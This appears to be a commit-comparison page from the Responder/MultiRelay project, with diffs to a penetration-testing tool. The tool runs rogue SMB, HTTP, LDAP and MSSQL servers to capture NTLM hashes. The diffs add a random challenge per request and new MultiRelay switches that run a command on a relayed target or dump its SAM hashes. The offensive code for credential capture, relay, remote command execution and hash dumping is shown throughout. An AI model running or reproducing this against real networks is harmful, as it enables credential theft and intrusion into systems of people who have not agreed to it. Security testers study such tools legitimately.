Compare commits

...

18 Commits

Author SHA1 Message Date
lgandx
0d441d1899 Added: Random challenge for each requests (default) 2017-01-03 17:40:38 -03:00
lgandx
1d38cd39af Added: Random challenge for each requests (default) 2017-01-03 17:35:49 -03:00
lgandx
17dc81cb68 Added paypal button 2016-12-21 11:53:33 -03:00
lgandx
ab2d8907f0 Added: Scripting support. -c and -d command line switch 2016-11-18 11:55:16 -03:00
lgandx
730808c83c Added: BTC donation address 2016-11-12 12:28:13 -03:00
lgandx
b455ff406f re-fixed Typo 2016-11-10 14:28:16 -03:00
lgandx
aff17ca9d3 MultiRelay now executes WMIC commands instead of bat files 2016-11-10 14:24:54 -03:00
lgandx
62d7dc4080 Merge pull request #18 from trustedsec/patch-1
Update RelayMultiCore.py
2016-11-10 10:57:18 -03:00
trustedsec
cad3adc319 Update RelayMultiCore.py
Minor typo fixes, nothing major.
2016-11-10 14:13:13 +01:00
lgandx
fc2aadca6e Minor fix 2016-11-09 14:12:37 -03:00
lgandx
90071187cd Merge pull request #17 from leonjza/master
Check if the platform is macOS before setting TCP_KEEPIDLE
2016-11-02 11:18:10 -03:00
Leon Jacobs
bcac8c4166 Check if the platform is macOS before trying to set a non-exported
TCP_KEEPIDLE option
2016-11-02 09:25:37 +02:00
lgandx
4a7499df03 Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. 2016-10-20 23:43:34 -03:00
lgandx
581d7e6849 Merge pull request #14 from nvssks/master
Patch for Android 4.x terminals that are missing some linux commands
2016-10-20 01:03:10 -03:00
Nikos Vassakis
f321c1bbcc Patch for Android 4.x terminals that are missing some linux commands 2016-10-19 18:24:12 +01:00
lgandx
027f841cdf Fixed wrong challenge issue 2016-10-18 11:53:09 -03:00
lgandx
4b7e6397cc Now grabs and print time on remote machine. 2016-10-15 14:54:05 -03:00
lgandx
d5601056b3 Added: Logs dumped files for multiple targets 2016-10-15 11:48:36 -03:00
12 changed files with 176 additions and 115 deletions

View File

@@ -162,15 +162,24 @@ Options:
-v, --verbose Increase verbosity.
## Donation ##
You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
Or via Paypal:
[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)
## Copyright ##
NBT-NS/LLMNR Responder
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
email: laurent.gaffie@gmail.com
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or

View File

@@ -13,8 +13,9 @@ HTTPS = On
DNS = On
LDAP = On
; Custom challenge
Challenge = 1122334455667788
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
; SQLite Database file
; Delete this file to re-capture previously captured hashes

View File

@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client, module):
def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': module,
'type': 'NTLMv1',
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({
'module': module,
@@ -173,7 +173,7 @@ def GrabURL(data, host):
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data, client):
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
@@ -192,13 +192,14 @@ def PacketSequence(data, client):
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex')
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans()
@@ -211,7 +212,7 @@ def PacketSequence(data, client):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module)
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -265,6 +266,7 @@ class HTTP(BaseRequestHandler):
def handle(self):
try:
Challenge = RandomChallenge()
for x in range(2):
self.request.settimeout(3)
data = self.request.recv(8092)
@@ -277,7 +279,7 @@ class HTTP(BaseRequestHandler):
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer)
except socket.error:
pass
@@ -291,6 +293,7 @@ class HTTPS(StreamRequestHandler):
def handle(self):
try:
Challenge = RandomChallenge()
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
@@ -301,7 +304,7 @@ class HTTPS(StreamRequestHandler):
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.exchange.send(Buffer)
except:
pass

View File

@@ -47,7 +47,7 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
SaveToDb({
'module': 'LDAP',
@@ -61,15 +61,15 @@ def ParseLDAPHash(data, client):
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate()
return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client):
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
@@ -96,7 +96,7 @@ def ParseLDAPPacket(data, client):
})
if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == "\x63":
@@ -111,7 +111,8 @@ class LDAP(BaseRequestHandler):
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0])
Challenge = RandomChallenge()
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
self.request.send(Buffer)

View File

@@ -52,7 +52,7 @@ class TDS_Login_Packet:
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
@@ -72,7 +72,7 @@ def ParseSQLHash(data, client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': 'MSSQL',
@@ -84,7 +84,7 @@ def ParseSQLHash(data, client):
})
if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({
'module': 'MSSQL',
@@ -126,7 +126,7 @@ class MSSQL(BaseRequestHandler):
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
Challenge = RandomChallenge()
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
@@ -135,7 +135,7 @@ class MSSQL(BaseRequestHandler):
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)

View File

@@ -88,7 +88,7 @@ def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@@ -105,7 +105,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
@@ -124,7 +124,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMB',
@@ -136,7 +136,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
})
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
@@ -151,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
@@ -161,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
@@ -171,7 +171,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
SaveToDb({
'module': 'SMB',
@@ -185,7 +185,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
@@ -221,6 +221,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
Challenge = RandomChallenge()
if not data:
break
@@ -233,7 +234,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
except:
pass
##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
@@ -255,7 +255,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data()
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
@@ -263,7 +263,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0])
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
@@ -289,9 +289,9 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
@@ -313,7 +313,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
ParseSMBHash(data,self.client_address[0], Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
@@ -392,7 +392,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(Buffer)
data = self.request.recv(1024)
except socket.error:
except:
pass
@@ -401,7 +401,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
@@ -409,7 +409,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
@@ -423,7 +423,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import *
__version__ = 'Responder 2.3.3.0'
__version__ = 'Responder 2.3.3.2'
class Settings:
@@ -195,14 +195,19 @@ class Settings:
# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
self.NumChal = "random"
if len(self.NumChal) is not 16:
if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1)
self.Challenge = ""
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
if self.NumChal.lower() == 'random':
pass
else:
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -222,12 +227,29 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print "Missing Module:", ex
pass
def init():
global Config

View File

@@ -36,7 +36,7 @@ from SMBFinger.Finger import RunFinger
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import *
__version__ = "1.0"
__version__ = "1.2"
def UserCallBack(op, value, dmy, parser):
args=[]
@@ -50,7 +50,9 @@ def UserCallBack(op, value, dmy, parser):
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options, args = parser.parse_args()
@@ -65,6 +67,8 @@ if options.UserToRelay is None:
if options.ExtraPort is None:
options.ExtraPort = 0
OneCommand = options.OneCommand
Dump = options.Dump
ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = options.TARGET, 445
@@ -140,7 +144,9 @@ def ConnectToTarget():
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
# macOS does not have TCP_KEEPIDLE
if sys.platform != 'darwin':
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host)
return s
except:
@@ -446,6 +452,10 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect
if data[8:10] == "\x73\x00":
@@ -463,7 +473,6 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc":
@@ -481,8 +490,19 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
s.send(buffer1)
data = s.recv(2048)
## Run one command.
if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
print "[+] Authenticated."
if OneCommand != None:
print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
if Dump:
print "[+] Dumping hashes"
DumpHashes(data, s, Host)
os._exit(1)
## Drop into the shell.
if data[8:10] == "\x75\x00":
if data[8:10] == "\x75\x00" and OneCommand == None:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
#Make sure we don't open 2 shell at the same time..
@@ -563,11 +583,12 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
s.send(buffer1)
data = s.recv(2048)
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
class ThreadingTCPServer(TCPServer):
def server_bind(self):
TCPServer.server_bind(self)
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.daemon_threads = True
def serve_thread_tcp(host, port, handler):
try:
@@ -591,7 +612,7 @@ def main():
while True:
time.sleep(1)
except KeyboardInterrupt:
except (KeyboardInterrupt, SystemExit):
sys.exit("\rExiting...")
if __name__ == '__main__':

View File

@@ -120,7 +120,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
@@ -142,7 +142,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
@@ -174,7 +174,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
@@ -196,7 +196,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
@@ -222,9 +222,9 @@ def ExtractSMBChallenge(data):
def ExtractHTTPChallenge(data):
SecBlobLen = struct.unpack("<h", data[43:45])[0]
if SecBlobLen < 255:
if SecBlobLen <= 257:
Challenge = data[102:110]
if SecBlobLen > 255:
if SecBlobLen >= 258:
Challenge = data[106:114]
print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex")
return Challenge
@@ -430,10 +430,8 @@ def CreateService(Command, f, host, data, s):
ContextHandler = data[84:104]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command)
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate()
@@ -1126,14 +1124,14 @@ def DumpHashes(data, s, Host):
data = ModifySMBRetCode(data)
#After everything has been cleaned up, we write to file and call creddump
WriteOutputToFile(Output, "./Sam.tmp")
WriteOutputToFile(Output, "./Sam-"+Host[0]+".tmp")
try:
Hashes = dump_file_hashes(BootKey, SaveSam_Path+"/Sam.tmp")
WriteOutputToFile(Hashes, "./Hash-Dumped.txt")
Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host[0]+".tmp")
WriteOutputToFile(Hashes, "./Hash-Dump-"+Host[0]+".txt")
except:
print "[+] Live dump failed, is python-crypto installed? "
pass
print "[+] The SAM file was saved in: ./relay-dumps/Sam.tmp and the hashes in ./relay-dumps/Hash-Dumped.txt"
print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host[0]+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host[0]+".txt"
return data
except:
@@ -1191,8 +1189,8 @@ def SaveAKey(data, s, Host, Key):
